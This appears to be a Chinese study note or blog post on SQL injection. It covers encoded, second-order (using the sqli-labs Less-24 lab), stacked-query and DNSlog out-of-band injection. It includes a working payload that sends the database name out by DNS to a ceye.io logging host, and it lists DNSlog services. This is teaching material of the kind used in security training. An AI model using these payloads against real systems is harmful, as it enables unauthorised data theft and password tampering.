WEB漏洞—查询方式及报错盲注

WEB漏洞—SQL注入之二次,加解密,DNS等注入

加解密

加解密:网站在注入的时候,一些值被进行了加密,如果要进行正常的注入,那么也就需要用加密后的注入语句【这里必须是一样的加密方式,比如说如果是base64那么你也就要用base64的方式先将注入语句进行加密】,进行注入

二次注入

Snipaste_2022-04-30_13-48-27

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说一次攻击造成不了什么,但是两次配合起来就会早成注入漏洞。

用sqli-labs/Less24关来说明一下,就用小迪老师上课的操作:首先创建一个正常的用户,但是这个用户名是xxxx ‘ #的形式,然后密码随意,创建好之后,在去登陆,修改刚刚创建的用户的密码,改成123465789,这个时候神奇的事情发生了,修改的并不是xxxx ‘ #,而是原本存在于数据库中xxxx用户,那么为什么?看看源码!

Snipaste_2022-04-30_14-19-36

可以看到如果是这样的写法,那么我们刚刚创建的用户名在数据库中进行查询后就会变成这样:username=’xxxx’#’这样这个#号就把后面的语句进行注释了,而这个单引号就把这个xxxx进行闭合,那么修改的自然就是xxxx的密码,而不是xxxx ‘ #

【二次注入大多数是通过代码审计得到的,黑盒测试很难】

多语句注入
一、多语句注入的前提条件

源码使用mysqli_multi_query();多语句查询函数,即可一次执行多条sql语句,但实际情况中,如PHP为了防止SQL机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

其他知识点(前端验证和后端验证的区别)

顾名思义,前端验证就是在前端验证的方式,这种方式是可以通过F12修改前端代码,或者其他方式进行绕过的,后端验证是将你的数据带入到对方服务器上进行验证,所以本质上有很大区别

DNSlog注入

存在利用瓶颈,比较鸡肋。除了注入会用到,在其他场景也会用到,主要学习dns注入原理。

必须是Windows服务器、注入实现url访问、注入点必须是高权限且可执行写入。

原理:借助DNS解析产生日志的一个作用,来实现把一些数据反弹出来,类似反弹链接的作用。

应用场景:解决不回显(反向连接),SQL注入命令执行,SSRF等

1
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

Snipaste_2022-05-24_20-15-49

Snipaste_2022-05-24_22-09-58

Snipaste_2022-05-24_22-09-48

参考文章

1
https://www.cnblogs.com/Xy--1/p/12896599.html

推荐平台:

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码

https://github.com/BugScanTeam/DNSLog

https://www.freebuf.com/column/184587.html